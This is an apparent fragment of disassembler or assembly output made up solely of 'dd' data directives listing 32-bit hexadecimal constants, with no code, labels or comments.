dd 2A564DC4h, 0D1BC9AE3h, 0EFDB3B8Bh, 0A6916B50h, 5C989EB9h
dd 0C65C642Fh, 648A56C1h, 0B5801766h, 84008579h, 802D0D51h
dd 82E2C302h, 0C146F87h, 8F12F3Fh, 73394FB0h, 1CBECCAEh
dd 710D4B1Fh, 33A8FAF5h, 0A4EB8A83h, 3CD941E0h, 9FD47C97h
dd 729A29AFh, 980856F7h, 472E30D7h, 0BF891790h, 0C504CB6Bh
dd 0C8A7FC6Fh, 69895975h, 0B2B636EFh, 2E65A534h, 7FE52554h
dd 6286C9F5h, 6EEFBC23h, 76DC9399h, 7D15965Bh, 98613A38h
dd 259CD175h, 0D21C8B03h, 9CE009DFh, 0D7889B54h, 27F576D2h
dd 82BF5C0Eh, 66D8E1E7h, 0FB1572AAh, 3476B8CDh, 5DBE8C7Fh
dd 87B470B7h, 3360E4FBh, 6C776F5Dh, 0DDB68B0Bh, 9F5270D3h
dd 261F5677h, 0A98EC9E9h, 0DAA400DAh, 336E7523h, 0F75B44AEh
dd 5A13ED18h, 21D0256Bh, 0D79BF394h, 3662E378h, 2F8206EEh
dd 2CDD9308h, 0F51D43CBh, 69AA1DF2h, 19CF0AF3h, 4F7633E9h
dd 490A2E10h, 66BFFDA8h, 7DD4276Bh, 6059FF5Ah, 0A2EAFCCBh
dd 0AF1EE474h, 0A37EEE89h, 0F6ADDB7Eh, 33E2885Eh, 0EAC8C31Ch
dd 0A6FEE483h, 2B69EA63h, 6506A234h, 2849DC89h, 1700FDE2h
dd 987CE5CDh, 1CE7BB99h, 5B0EC763h, 0ED48A187h, 0E9367948h
dd 2F98FF4Bh, 16EF0D25h, 0CE5CB599h, 669801A7h, 0E31F468Bh
dd 0F0112F1Eh, 0D471AD97h, 9E00EC55h, 0ED052F92h, 14AB60F7h
dd 0D0E07456h, 9FDD9929h, 2793996Ah, 84771A9Ah, 5C62A86Dh
dd 5A71377Ch, 5EFC39FCh, 6D7F2A81h, 590893B2h, 7D46E2DFh
dd 334F2FE1h, 62683248h, 0EF32459Eh, 0B2AA3414h, 0DA38E6B9h
dd 5C02BEAAh, 0F560EF23h
dd 15B2DDA4h, 87635C0Ah, 183C44CBh, 186E9540h, 0AA52E45Ch
dd 7AD810CBh, 9EB10675h, 0C350B232h, 189F4CFFh, 3B90533Fh
dd 6992A472h, 7E4DF9E7h, 9CE98342h, 28E8531Bh, 7ECBA1A2h
dd 15B2F59Ch, 0A268A818h, 0E9ABDA1Eh, 0F41323BDh, 9E4388Ch
dd 53FA58Ch, 43AED235h, 0C9E0C3BFh, 600FD52Fh, 484578EEh
dd 76DE8D5Eh, 7310B505h, 0AECE72Fh, 8679A9E0h, 0FDAE4C62h
dd 20C15231h, 0EB192CD1h, 856FDA17h, 5CD87D95h, 0F529703Dh
dd 419DC2CFh, 2F1B6916h, 25D8EF33h, 61A77B70h, 8B1600C4h
dd 4AA19FD5h, 44C7AEF0h, 1F20658Ch, 0E510EB6Ah, 85FC3FFCh
dd 0D457C37Ah, 29120DC3h, 0E13D7534h, 0F338A3A2h, 1767C1CAh
dd 4F0EB474h, 0D6A9AA8Dh, 576C2884h, 7B8F7897h, 0CC9538C4h
dd 6C293AD8h, 0CDE57CCEh, 9A0954CFh, 18754B3Eh, 0D118AE81h
dd 25A31BE9h, 9B65F883h, 0F7EF2E4h, 0B5DFB640h, 26C98512h
dd 0C09F72B3h, 34B5594Ch, 117F6697h, 110DE69Dh, 0DB2097A2h
dd 73E40CE5h, 52528C70h, 24D2292Ah, 694D68BDh, 0FEADF252h
dd 90EA6339h, 1FDCC2ABh, 0E1D1FE9Fh, 0A344DFD3h, 0AEBB5F24h
dd 5F4B3D6Fh, 42F934F4h, 9104C0EEh, 7920F8E8h, 145D09CFh
dd 2DBD4C6Fh, 0EF584E6Dh, 0D5C66064h, 7E314EB1h, 315B430Bh
dd 91C9EDE9h, 5B0266BCh, 1089A601h, 1F87A4E6h, 0FA89DA1h
dd 0A6A8F12Bh, 39D764B6h, 0A736EC5Ch, 27DCB038h, 22909DD6h
dd 0ED8A4460h, 28E426D2h, 0D582FDE8h, 0B1B0199Eh, 5EAF958Ch
dd 6861826Bh, 0A2BAD418h, 0BCC58312h, 681CE026h, 8631F4DCh
dd 17FD55B0h, 3C4E8947h, 0A8EBF8B1h, 0E322B907h, 0D845B27Ah
dd 2AA8445Fh, 631C4A94h, 3266B745h, 337C4F4Ah, 0CDFD4A89h
dd 7C390B33h, 0FA25963Fh, 0F69F468Ch, 80A36536h, 0CA817F95h
dd 61E9002Bh, 0A0C933EDh, 0AE3FEF58h, 98C61ED9h, 629A6D35h
dd 82217D0Dh, 60112E37h, 0A10099Dh, 79DABA2Eh, 0C35084F9h
dd 7032D577h, 1C0DC506h, 0B169B80Ch, 0D5615CACh, 0E77FCA5Ch
dd 8C473B4Bh, 1694B064h, 48319CD9h, 42241AB7h, 0F22614FBh
dd 0B84E616Ah, 0D6481561h, 0B395CA01h, 0D7105BB3h, 0FB3382EFh
dd 0AF799099h, 0E1469540h, 0F2E34751h, 9CB274B6h, 58DAC5BAh
dd 0D83D3262h, 348D9356h, 4227732Ch, 9DAD6836h, 84E8F03Fh
dd 164D845Ch, 0FC84567Bh, 38C4CBCh, 7A77B0D9h, 755BE413h
dd 0B8DCA5E8h, 1D5E7AC9h, 7E220623h, 1818FB83h, 309383EEh
dd 0D0EE50E7h, 7264EFC6h, 0E5FC44E3h, 0FC79D2C4h, 9D38DAC4h
dd 0FEF1FA4Ch, 1460D6D8h, 7E3481DFh, 284CEB1Bh, 30F83BF2h
dd 0CEDC2E42h, 793298B2h, 8D4F7E1Ah, 339D62D7h, 0EBDBC02Eh
dd 0B90294F7h, 0A2522719h, 0B60B9FD0h, 0E79D5DB5h, 1D0DDD0Bh
dd 0AB6928A8h, 5004B9F3h, 252EA97Bh, 18FB461h, 6B48F0CCh
dd 0BDCD4389h, 0CBC192CFh, 0A8F99440h, 0B47AA83Ah, 2754767Bh
dd 0D0A10862h, 31ADD988h, 4EBC7EC5h, 0F9779C49h, 4C1D769h
dd 0FA376D6Eh, 2C4750C6h, 65E8EC5Fh, 2FC286EBh, 0D8DAD7h
dd 0BC34C4B3h, 33E31418h, 0BC55838Bh, 0E9BC08BAh, 3067CAC3h
dd 7038C19Dh, 4479E413h, 155F25DAh, 52404534h, 54BAD0DCh
dd 59691E2h, 0A41FC996h, 2B89B3D8h, 1186455Ah, 1456A615h
dd 0A0485063h, 0B9EC1963h, 0CBEBF09Ah, 61670216h, 0CC371639h
dd 69DF669Fh, 5F2852A2h, 0B1641E82h, 4CF7A3F8h, 0ADDD92DEh
dd 21E14086h, 0DEF0E4EAh, 0CEA85B25h, 0C56EA0ABh, 0DDCBF71Eh
dd 0DACE3091h, 933D3FD7h, 4D120628h, 0CD02583Bh, 2CAA0A82h
dd 4F28A1ABh, 0A792962Eh, 1C4DDE2Eh, 22F6501Dh, 8BE0B930h
dd 0DF2C900Ah, 0F404CBE2h, 89BB0542h, 7D2D83A8h, 2ED67707h
dd 0D2D4AF03h, 0A0672FF9h, 0D11D7BA3h, 42F23551h, 0AEEAA941h
dd 460E8558h, 1A34FA71h, 0E4340B0Dh, 90A12599h, 36916814h
dd 8E2E1B6Ch, 864EE0ADh, 7B6ACF9Ch, 0A95897B7h, 63E563B4h
dd 0F1E68FEBh, 0F23F2463h, 0DF4D5E58h, 329F29Fh, 86343D66h
dd 96CEE7E2h, 0CD7DA336h, 0F2E510AFh, 9193E8AEh, 7CC1E562h
dd 0CD1A6306h, 56BEE14Ch, 4F609EE0h, 594C34DDh, 0DF38AF36h
dd 0F90CD28Eh, 67061C1h, 5DCD909Eh, 901A9DA2h, 26365413h
dd 45C69B14h, 997533B5h, 0DBB93C1Dh, 0ED276E38h, 19447DA5h
dd 4246AAD4h, 20528492h, 6176A1E8h, 32188924h, 0CBBC4527h
dd 8C3A599Ch, 5829BF71h, 0D0D6CEh, 0C2027BC8h, 568B4061h
dd 71C53B91h, 0B6BB2C5Ah, 0BFF0FBBh, 88E1F18Ch, 58D37D7Ah
dd 0D22E82FEh, 95DB2DEFh, 0E7CE1D6Dh, 0F9129D38h, 1F329171h
dd 33DCABDh, 5621C49Dh, 855BABF4h, 49F646DDh, 37CA699Bh
dd 0C1FE1FA1h, 31534F28h, 0F638D65Bh, 0D52FE5CAh, 751EACC8h
dd 85836BF5h, 50C601D6h, 0F64B7C35h, 9248D3A5h, 0FDE36D27h
dd 0A3E8C76Ah, 9F17C33h, 39238916h, 3B80A552h, 0AD72E247h
dd 0E9CB1A70h, 0EC24F265h, 277A9EFh, 0B8410843h, 80421B2Fh
dd 225A1EBh, 48CC4420h, 25CFC9h, 0ECCDB036h, 0AE771DBEh
dd 0F5B2FD80h, 0F833A3Eh, 0E78D447Dh, 0DD80E2C2h, 4947AA02h
dd 1E6FBF83h, 3F62524Fh, 36D7C05Bh, 5A7D4AC0h, 6F8947E8h
dd 8E4032F6h, 51356EFCh, 0C8D05260h, 0A24C7697h, 3B3853CEh
dd 8FD184B6h, 43A9E076h, 2412F2F3h, 80A1B641h, 0FCB79174h
dd 0A5545CCh, 6DCA72C9h, 31723734h, 6BB315A7h, 24BAEE17h
dd 89DECB3Ch, 4197B557h, 0BA567A82h, 0F81D94FEh, 7731D031h
dd 0AB9A1997h, 2B52BD6Dh, 797E162Dh, 1E97737Fh, 2549EF47h
dd 595C7FE8h, 9C47AC39h, 8A4A1508h, 6EE76173h, 0A84EB7CBh
dd 0F03696ABh, 379AA05Ch, 0A5C8DF0Ah, 15FEA0D3h, 77DDA73h
dd 90CE6861h, 4706CAEh, 50FFD0F7h, 6431FFBFh, 4BD90C64h
dd 0ADDD8041h, 0F956412Dh, 0C407DC75h, 0BC256B37h, 2BE15342h
dd 0F5A7FBF1h, 0F32F6545h, 75A0F400h, 0DD01769Ah, 0CA9F3D09h
dd 0E4518852h, 0DDFE7056h, 8CAD5012h, 9B9EECA3h, 268D7219h
dd 0A744E787h, 0DA9EE11Eh, 0A5FDE6F4h, 0F01CAB05h, 28EFD0F5h
dd 4CF45206h, 6C9FBA41h, 0D64080CCh, 85C51369h, 0F20D36E4h
dd 0B18F1E0Fh, 8D3F3AFCh, 0C70644ABh, 4BC81111h, 0F3B0B173h
dd 20CCD848h, 0F8476589h, 0ADB9B87Ah, 0BA422843h, 7BC7D639h
dd 0C2449759h, 0C8F1E75Eh, 0F3FEEFC8h, 0E1A49CCh, 0FFCEFB43h
dd 141BB366h, 602595ACh, 15006F3Dh, 0CB32FBh, 0CE4E22B4h
dd 0B35B1D8Dh, 0C73C25F6h, 79341D3Fh, 497CE2CBh, 0CB6D0BFh
dd 0B77FE5E9h, 3EF1006Dh, 0CC69B44Eh, 8C6206ACh, 31F1CD18h
dd 1F71C5D0h, 4DBFBA67h, 8F49E446h, 0EF27A953h, 2CB6A055h
dd 0F00BFD81h, 8A5AA66Bh, 0E530037Ch, 0B990DFFBh, 27273C2h
dd 294A166Fh, 62696DC4h, 38510F75h, 0FEC6CE0Bh, 97F590ADh
dd 0F98FD404h, 0C674241Dh, 0E32F25F4h, 0D84BAA0Eh, 0DCCC52CAh
dd 7238B42Eh, 3D953486h, 5B02BC28h, 83670C6Dh, 21F7F6D0h
dd 0BFE5FBC1h, 224AE9D9h, 0A04D8BAh, 0A8078D93h, 0DC91D72Dh
dd 738F4FF6h, 3D5B4ABFh, 23B880CBh, 83260411h, 0CEF4BF90h
dd 0D5A2247Eh, 0C348E7D1h, 82FF45FAh, 0A6C45E61h, 45F8CB91h
dd 1E8010h, 0F57F2431h, 2C943C50h, 37F6424Ch, 6BD6523Dh
dd 0BCB0AA03h, 0F134C60Dh, 8147E410h, 7B1A34DAh, 0B128784h
dd 54D514BBh, 571F279Ch, 1EDFB73h, 7384F11Fh, 0E12A503Ch
dd 0E4E4E6D0h, 0B850CCF1h, 1BBDD181h, 87DAD82Eh, 0E1991EAAh
dd 0E03B443Ah, 4EA3AF4Eh
dd 2635674h, 0B1A6C5C2h, 9BFC43C8h, 0FD983B48h, 0BFFB9B22h
dd 9BC2097h, 709D24DCh, 84A732Dh, 0CFAD6751h, 0AF2BBE79h
dd 5D57D547h, 4D4F7325h, 454B5816h, 399B39BBh, 87787B1Fh
dd 7175B1A8h, 1227D318h, 5F249ADBh, 5EB1B4AAh, 203387F2h
dd 4E8F6F98h, 0F897BFA2h, 0B0779481h, 0A6BDAF5Fh, 2961571Ch
dd 9B5ECE09h, 0A36B38B7h, 4ABA0890h, 0C614F9BCh, 13D1D73Eh
dd 0BC437CF3h, 34770F1Bh, 0D087AD34h, 1CB54168h, 0D784D3B4h
dd 0AFA4C4B0h, 7020F5F2h, 1DE3BF8Dh, 9BDC7AE2h, 5B3AA094h
dd 0EB6D8FDDh, 79100B39h, 502BBE7Eh, 0C331BF23h, 0B055AF89h
dd 3A86F9CCh, 0A477D652h, 1579876Dh, 649123C8h, 0AAE1C2B1h
dd 0DA0CC283h, 2A47E540h, 33560B7Dh, 83AA5890h, 1DCE6112h
dd 0FC1570F7h, 4D1A4944h, 8DDBA9EDh, 0B26221EBh, 0C6E69755h
dd 4CA98CEBh, 0BB6CBABDh, 7E4CCFFDh, 9DDD2478h, 2A239024h
dd 2C6EC037h, 0A7C7DF9Ah, 1B82E03Fh, 7ECF70A2h, 0D44CCE62h
dd 0C7FB6A7Eh, 0DFB1F996h, 346207C6h, 9393F3FBh, 9B714B56h
dd 7E683173h, 0CEE2D746h, 829556C8h, 0FDE4F06Dh, 0A76F7399h
dd 0DB5E3572h, 0E0CDD94Dh, 0A4BCB1Fh, 9BDB1140h, 3AEE222Eh
dd 6A02B51Eh, 0DEEB8345h, 5B3DAA30h, 0D573E6D0h, 61B1915Ch
dd 8FAA1647h, 3ED1C95Bh, 0A7096C9Bh, 28104485h, 0E30F12EAh
dd 0EED0B706h, 0FC1A0587h, 408468DBh, 0AA2405C2h, 0E6C9E9D0h
dd 3F0B3EF5h, 2D845C9Ch, 3784B5Dh, 47DBC46Eh, 32A15BB3h
dd 6DCB04CDh, 0A4E76A5h, 0EC04C4FDh, 0FB57586Dh, 0BD91677Ch
dd 2B049508h, 0ED78729h, 531A78F5h, 0D9C89BFAh, 61B4ACA7h
dd 0B5E1488Ch, 0C2C96853h, 0D2448C33h, 2CF439D0h, 1D435B22h
dd 9CE5D2B9h, 0F14AFA77h, 924E4966h, 0AF4F6983h, 603E72ABh
dd 0FE783E89h, 0FDA5997Ch, 2171268Ch, 0EEBBFBD7h, 3EB13F2Eh
dd 0A0A7E4D8h, 55921C98h, 0D4979C6Bh, 3922511Ch, 0D04219E7h
dd 0C6865658h, 6829B0EDh, 0CABF15BCh, 0B676B287h, 1B414EB8h
dd 0D4F5628h, 8D5A9B49h, 9CAA9441h, 0BE393C32h, 198B765Ch
dd 0ECBAD388h, 7365ED88h, 564B1672h, 1CC34Ch, 87C4C591h
dd 0D8C22561h, 97F05DB5h, 0FF6C1E19h, 0FC98A8E1h, 5CD0F8EFh
dd 2F0E640Eh, 0CC99F81Ch, 0CE6BFFD3h, 0DAD1977Dh, 7F47C06Bh
dd 406E64C9h, 1956FC06h, 0BD39360Eh, 46FEC3D9h, 0F3270317h
dd 122BB482h, 57D613C2h, 0F72687EBh, 51B7EEEh, 59E54AA9h
dd 953DF4A2h, 0C97C57FBh, 26CC15D2h, 4BA7E3FBh, 9EFEE123h
dd 0A27589DBh, 0B77B89F0h, 4EEC4BBAh, 3C551126h, 3F31449Dh
dd 0A97F0D64h, 0CE3E6469h, 1FBDE72Ah, 0DAD965B1h, 0F3AED83Eh
dd 0FACCB783h, 0E85B9903h, 9382689Fh, 0BC7C36F6h, 2CB7F52Ah
dd 5C94838Dh, 1F34DFBh, 28F7538Fh, 0F0BC36E7h, 0E1075113h
dd 0A51DFDC8h, 0A7ED2917h, 7D7CDC20h, 1255F9CDh, 0D86A8647h
dd 0B4C4D5D1h, 0C1AEA615h, 9FCA2413h, 0C1C27DA5h, 198674C9h
dd 0B957440Fh, 96B9C88Bh, 0D0855F1Bh, 5C901CDDh, 0A2198Bh
dd 0D6F5DC7Bh, 0DAF7EDA6h, 2E61970Bh, 924FF88Bh, 8B7AC33Eh
dd 6BD8FD9Dh, 5776B6C7h, 0B7D7DE0Ch, 0C70D257Ch, 15637024h
dd 6554A52Eh, 5CBC0758h, 2283CFC7h, 751731C7h, 6D0541C9h
dd 0BE1A787h, 5D46F9BAh, 0C57B6F4Fh, 8C34AEA2h, 0F3DDBB35h
dd 0AF9B94D1h, 0E5209101h, 0B965331Ah, 2EBD6094h, 1E8DAEA0h
dd 0B2C90341h, 0F055DFA9h, 47BC7079h, 0CD6A775Eh, 567CCF7Fh
dd 0DD425EEFh, 0DCDAAB24h, 29E29829h, 6F5BA4EAh, 741D94A0h
dd 1760EB06h, 31B471Fh, 738BDFE9h, 0EBE8BA85h, 0E70BFDD7h
dd 0F8300322h, 27FFB597h, 1C991E58h, 0BF31ECC3h, 0FCE3B1A9h
dd 0CE6617FDh, 0EB2E8CD4h, 7187F1A6h, 0D9CF6D76h, 0A9473E90h
dd 46835581h, 636A1F50h, 0AAA9D4B1h, 539E3939h, 0B3557CD1h
dd 0B7C09671h, 0D336FD20h, 344BEDCEh, 511D8F68h, 1635B15Bh
dd 19FF2BB1h, 0ECB3FFA6h, 71A7EABFh, 9B846C2Bh, 0A83E2135h
dd 2C6239E2h, 3E44513Bh, 0A85CAF0Fh, 0EF3BFB10h, 65D164F2h
dd 0A67D4EC3h, 142B915Ah, 0EDE83FEh, 0EE1DE62Eh, 0A1F5E970h
dd 0CE2074FAh, 0A8C690D6h, 20149DF5h, 4272830Eh, 717F4AB4h
dd 0EF2F170Dh, 0A0720F44h, 0CB73324Ch, 7008A3B2h, 0FACF0A23h
dd 7EAA223Ch, 886B1FB1h, 0CED99509h, 0D7719F9Dh, 7F261BB4h
dd 0C0BC7953h, 96852F9Bh, 20668ACEh, 751CF4E1h, 2F7A1111h
dd 0E417357h, 0F44CFAC4h, 0E876F87Ch, 2FB688A6h, 6AF4F5C0h
dd 16F4EC68h, 0EB6B4DDCh, 0D7727B72h, 4851E5DAh, 0E8B90808h
dd 6652FB5Eh, 44600833h, 61EF73ECh, 4036C84Bh, 0B443079Eh
dd 0FCE1A4A8h, 0AAD616FDh, 847E12B5h, 3734B084h, 0CFF9C8A3h
dd 0C0F0FB13h, 3BF63D4Ch, 0FE3FE0E1h, 3D5C6BFAh, 262328AFh
dd 0DAF44483h, 54D82E45h, 87CBE19Fh, 0B7EF7B50h, 146B1538h
dd 1EAB7EF4h, 0DB0A100Bh, 7F4E53F0h, 58F5B6E9h, 0EDB09719h
dd 359A56EDh, 0F52BADB1h, 0BEF2870h, 79A910Dh, 0EC281CDDh
dd 0C945E58Bh, 5A39ABE2h, 81AB1097h, 0C5F5A905h, 12C98261h
dd 0E7BE7016h, 0E23CBCFDh, 8D8AB0C6h, 41AAAF86h, 0D5A9C4B3h
dd 0AAA5D087h, 156D0DD0h, 1A2144B4h, 646A7FEh, 41DE548Eh
dd 0D4723466h, 260CF75Bh, 42D8B9B9h, 0DCBBB48Ch, 6201650Bh
dd 0D6E1B5AFh, 34040FEh, 0A87A1ED0h, 0C526F79Fh, 667BBA2Fh
dd 0A1100E90h, 53B13492h, 9DF963E2h, 0EA2C87E2h, 0D8D993CBh
dd 579EB3DFh, 7107E273h, 20D4BB82h, 67FF72D3h, 7B470B4Fh
dd 68323689h, 781AB392h, 3A005CDAh, 5E72E3A6h, 0E890AD54h
dd 7351D44h, 0C386E65Bh, 0DF765EB7h, 0F604489h, 0ADA8C28Bh
dd 6CE8ABA0h, 0CE2F1E11h, 0F762CCFCh, 0FD497717h, 55541C8Dh
dd 0D231748Ch, 3C748E9Bh, 36182796h, 0E7EBA582h, 6F62DB89h
dd 0BC242EEBh, 0D434F777h, 0D6D194D9h, 47DAAAABh, 34E0A9FBh
dd 4A0E01C3h, 870E45BCh, 841BA23Ch, 0F583E1D6h, 330D5F0Ah
dd 70EC8208h, 0CBAC12BFh, 3DF7BC44h, 59ECC9F5h, 0FB54DBD8h
dd 0B9181752h, 9647301Bh, 0CA2146AFh, 47723EE2h, 0F99EC273h
dd 2B212528h, 0A98D1AD2h, 3AE8B847h, 0E73393EEh, 40E4AAD1h
dd 4E197EFAh, 0E329C669h, 0E376306Dh, 0D5650F39h, 0ACEFE602h
dd 2B22A262h, 163AF53Eh, 0F69021C0h, 4A82F44Bh, 624C60E8h
dd 0D9F23E07h, 0F3649793h, 4E593D7Fh, 3EA1908h, 0B93CBAE7h
dd 592EE2A4h, 0B0E8A0ABh, 3055409Eh, 4522F15Bh, 9D245AA1h
dd 1714BDBFh, 93FA31E7h, 99DF5CC3h, 58D31BC1h, 5E1ECFBCh
dd 6E123018h, 9E699D9Fh, 4B129C2h, 6ADA3EDCh, 0EDB5C8FFh
dd 0D7FFB843h, 97854C84h, 46A52916h, 916A69D0h, 8A19BA12h
dd 2BDCEC1Fh, 55DB9CA2h, 0D0BB60C6h, 9496F9B3h, 8BC31703h
dd 6CD407BBh, 0B5157166h, 40848516h, 8AA146ABh, 0DEC1C61Ch
dd 9C858395h, 90B68512h, 0CF9D9647h, 0E32ED3C2h, 80A4BC7Ch
dd 7D6FCE42h, 0E47EB74Bh, 0FC096BE7h, 1025B80Eh, 8FD6242Eh
dd 6AFE6952h, 322922F3h, 21068B9Eh, 987C8398h, 1D93BC01h
dd 0AC6533E4h, 27C63CAEh, 0FDF57FAh, 1A96029Ah, 84E01CA9h
dd 95F6E395h, 326B9926h, 5E941F7Ch, 478CB989h, 1F113F48h
dd 45795D82h, 5A94367Ch, 16B1DBEBh, 5B1CC35Ah, 1D474745h
dd 0F9658A19h, 93D04B4h, 0AE3DF78h, 0A7E7B610h, 996CBEC8h
dd 0B7F01192h, 0A9F4B6F1h, 0A21BB65Ah, 0E65AB624h, 0D78A4D1Eh
dd 239D8FB5h, 59DC3CE0h
dd 0EDF7F837h, 0D4B7C7Eh, 298EE54Ch, 0FA691326h, 0E3FAA5FBh
dd 426A7CFDh, 0EF1C7809h, 0EC1CCCFCh, 3B6388B1h, 12F9CF3Eh
dd 0E9E36D07h, 0CA792E82h, 0A3110631h, 5EFEE34Ch, 241B10E6h
dd 4F7D05CBh, 8C6895Ah, 0E250F93h, 6D55C0h, 90B8DFF1h
dd 0E1B6675Dh, 0E10925A4h, 0EB77E66Dh, 37A84C95h, 5559C64h
dd 0D9B09CE9h, 0F6264879h, 0C98F7B20h, 0A78604AFh, 4EA6478Bh
dd 0C453647Fh, 5FF5972Ch, 21F9A157h, 69596EC0h, 0F8D63EDh
dd 434E6F4Dh, 762CD5A0h, 0F017475h, 0A3846624h, 9BFB049Ah
dd 4A046C71h, 3E2463A7h, 299B2B23h, 1221E9C1h, 363D9BF2h
dd 0AD2333DCh, 30B76BAh, 7745EEF4h, 5FFBBA15h, 0FA417095h
dd 7BF3C6BCh, 0FAE05A6Dh, 942104B4h, 3E198CDFh, 0F5E37CCBh
dd 0C0E5CF5Ch, 66CFB8Fh, 6B216FFDh, 7CA5C4E5h, 540BE768h
dd 79BCE472h, 51BA9550h, 60BAB852h, 540F04F1h, 0B6B6F7B8h
dd 0DEB251CCh, 0ED124690h, 34E6477Ah, 7FD63A86h, 0FC82266Dh
dd 0FCBDC77Ah, 76CF7E35h, 9CE26864h, 80531131h, 12E7B9A7h
dd 0DF197CD5h, 1BE2AD7Eh, 0DD81FDA2h, 394AC8D9h, 1016669Eh
dd 288AEF59h, 9882AF63h, 829986CAh, 754CD41h, 495C2EECh
dd 767B8CE5h, 220CBED1h, 2BA8E5C0h, 0EFA8BD20h, 32907277h
dd 9C0FB781h, 0A9855944h, 573D8DB2h, 4F71A8AAh, 8815A289h
dd 0B53A874Ch, 0A8B71352h, 581A106Bh, 0ED45D15Eh, 0AFD57658h
dd 58FCB3BEh, 0A6A06D96h, 0B1CD3B8Ah, 934B1500h, 24FF62A1h
dd 0C873B354h, 0CB737EBAh, 4C58AE82h, 0FAF0F503h, 0D3999C1Ch
dd 3EDB9CADh, 0CC1D93C0h, 638FBDBh, 0DB4A46FFh, 0CAB6D815h
dd 627E933Ch, 5ACB71CDh, 0FE5E34BFh, 9CB8FCF6h, 89295C85h
dd 3989EF48h, 0E221A763h, 1BA54D4Dh, 6B6A4643h, 3526693Dh
dd 0A2BAF325h, 15A7DDFCh, 1040745h, 0C1C26927h, 0AD1BF6F9h
dd 6900EF20h, 9EF5B123h, 8D664F17h, 35C8B21Ch, 2E12AA1Dh
dd 0D483E779h, 869587E8h, 0EB716680h, 0EAA1DD89h, 0AA2F7FB6h
dd 0F0D8025Bh, 55C00D34h, 0E0C994Fh, 873C2E8Fh, 1F3DB154h
dd 1206C8AEh, 0C962CA2Ch, 3E6980F2h, 0B6A959C4h, 44B48089h
dd 0E3A31FA5h, 7F05A9A1h, 0C83891EEh, 665FFB65h, 0B22FFC21h
dd 883C5182h, 6A63985Dh, 59BBC72Bh, 0C0B67D54h, 9483D40Fh
dd 0A8AE5DEEh, 0C4F7E0B5h, 0D4ACBB9Bh, 8EA671B9h, 0C0FB8775h
dd 0D8C36B51h, 9B5441D2h, 0BB7BD11Ah, 0FCE3441Fh, 0A3DFE7C0h
dd 94165FA1h, 1F11B20Ah, 0A9701D2Fh, 12E7E31Ah, 858B34BEh
dd 4D8E396Dh, 0D6F0F8E2h, 38B1D380h, 0FC5D001Ch, 91EC8E1Fh
dd 0DC3FE4FFh, 0CAF514F5h, 0DED27855h, 6EAC9052h, 17559A0h
dd 411FE347h, 60429D3Fh, 188E863Ch, 8A0A9D4Bh, 126753F0h
dd 96E7FC9Ah, 0B306DDE6h, 0AEF6D644h, 0E4DC73E8h, 788455B9h
dd 96EC9E47h, 81712806h, 9542F03Eh, 0B9963BA3h, 4BED8DAFh
dd 3A2E0D05h, 7E3F5C59h, 62EDD035h, 6AAD36B8h, 77CDCB47h
dd 0CDB5DE72h, 9B4B13ADh, 0C7D3ACE6h, 7C6B019Dh, 0A0449D91h
dd 0D0B71F45h, 0D9BE8D2Eh, 8478A544h, 0A7CA5A72h, 9985FC38h
dd 0C733E0A2h, 0EA78FD59h, 0F7277293h, 555CEA31h, 0D2193BE5h
dd 0B231DF32h, 548ED022h, 0D44971E6h, 381BE620h, 0C7D22C86h
dd 8B46394Ah, 0A4DCB854h, 0DC3262BDh, 500E3041h, 4A33BBB4h
dd 0EF460E4Ch, 0D897EE98h, 8A6B411Ah, 96C1BA81h, 2EC5FDDAh
dd 8629B827h, 8032DC10h, 49963988h, 0B12E23FCh, 0FD0A27F6h
dd 8955ED72h, 0B60DEC5Eh, 75074C7Eh, 0A3C58B77h, 108562B6h
dd 3B12C0D3h, 42C12B4Fh, 0FB31541Fh, 1E085EC2h, 0B01BE983h
dd 73CCA266h, 99DF25B7h, 211730FBh, 50256751h, 4310F02Ch
dd 949A84DEh, 3E5794FAh, 129607EAh, 0A8C94906h, 0A8EE56D2h
dd 0C05C6D47h, 5286BDB7h, 6E680D9h, 6ABF6539h, 9682859Ch
dd 62AD4446h, 0C64A2BD2h, 0D2E73260h, 0FEB9C82Eh, 0A99F3DF1h
dd 22EFF735h, 8871F18Eh, 0A4CBDB67h, 2C242CB0h, 97905A7Fh
dd 601CA52Eh, 1EF79AE5h, 0FE135222h, 0B2DEF55Fh, 0DF3E0129h
dd 0EFC786FCh, 26C21F06h, 10630E51h, 39297EA7h, 45396B42h
dd 3C0D0929h, 0E2523CF6h, 0F651018Bh, 1E5495BCh, 0ACB76F99h
dd 727D8A5h, 65FAB1CEh, 4CD12EDFh, 1604AC29h, 0C6A7C1Ch
dd 9D658674h, 82C8A4h, 17741E24h, 0F774F298h, 1B196A51h
dd 85517539h, 0AE658919h, 891075E0h, 139EFB55h, 0B2510DBCh
dd 0DFA90DCh, 983F4D47h, 0E3434569h, 0EC4AAA09h, 41B67D72h
dd 82831C19h, 82BFF294h, 82626066h, 0A32D80F9h, 0D33F7E97h
dd 29F3F2A7h, 8C0220D9h, 0C84E27D0h, 0F6D0B11Eh, 60E2122Fh
dd 8BAA12D9h, 602C98F3h, 8726C7B3h, 261DE69Ah, 1CBAC2AAh
dd 54E78BA3h, 61B486DAh, 21C7497Bh, 0DAD7D313h, 4606DE8Dh
dd 0AC594A6Ch, 0D8D52752h, 0F9E1B81Eh, 4667FDE5h, 0FBBF23CBh
dd 2D05DC58h, 0CACD4B80h, 2DADC919h, 0C5E366F1h, 761FF72Fh
dd 0CE9AB5E8h, 1B464A62h, 0D24202D8h, 0A862A8CEh, 4C84541h
dd 0F4F45E90h, 0F9E1077Ah, 0DDF0033Dh, 33D6559Fh, 3805BE85h
dd 48E3A7FCh, 56486B1Eh, 687AECD5h, 9CD30DE8h, 731DDD44h
dd 0D68694CDh, 6C9B6F8Dh, 937C1F36h, 50E7505Dh, 4E681CF9h
dd 32775B5Dh, 0C66008A6h, 4A8033EAh, 0AB892D26h, 0A69316C5h
dd 9F60FB35h, 0EA54E7E1h, 41BDDCC2h, 6939A8C6h, 61F8EF1Ch
dd 0D765AA29h, 4A16BEBDh, 0FBA6AA87h, 0AF8365A8h, 0E1154E4Ah
dd 51E085D0h, 3DE0870Ah, 555112ECh, 907ABB86h, 817271FCh
dd 3B87908Dh, 59AAEF63h, 4557DBC1h, 41AE4068h, 0C2F13251h
dd 0A6BC7314h, 642081FDh, 83D0DE0Fh, 4FEC7247h, 6052FCD8h
dd 4AAE67Ch, 0E6DAF0B1h, 150C968Fh, 1A4775DFh, 20E22383h
dd 3F48FF65h, 335C005Fh, 3789A584h, 0E906B4E2h, 0E0A0FF64h
dd 0A61A327h, 0B5AF7084h, 0F3B2D3CCh, 7A8BE585h, 0AD1CC663h
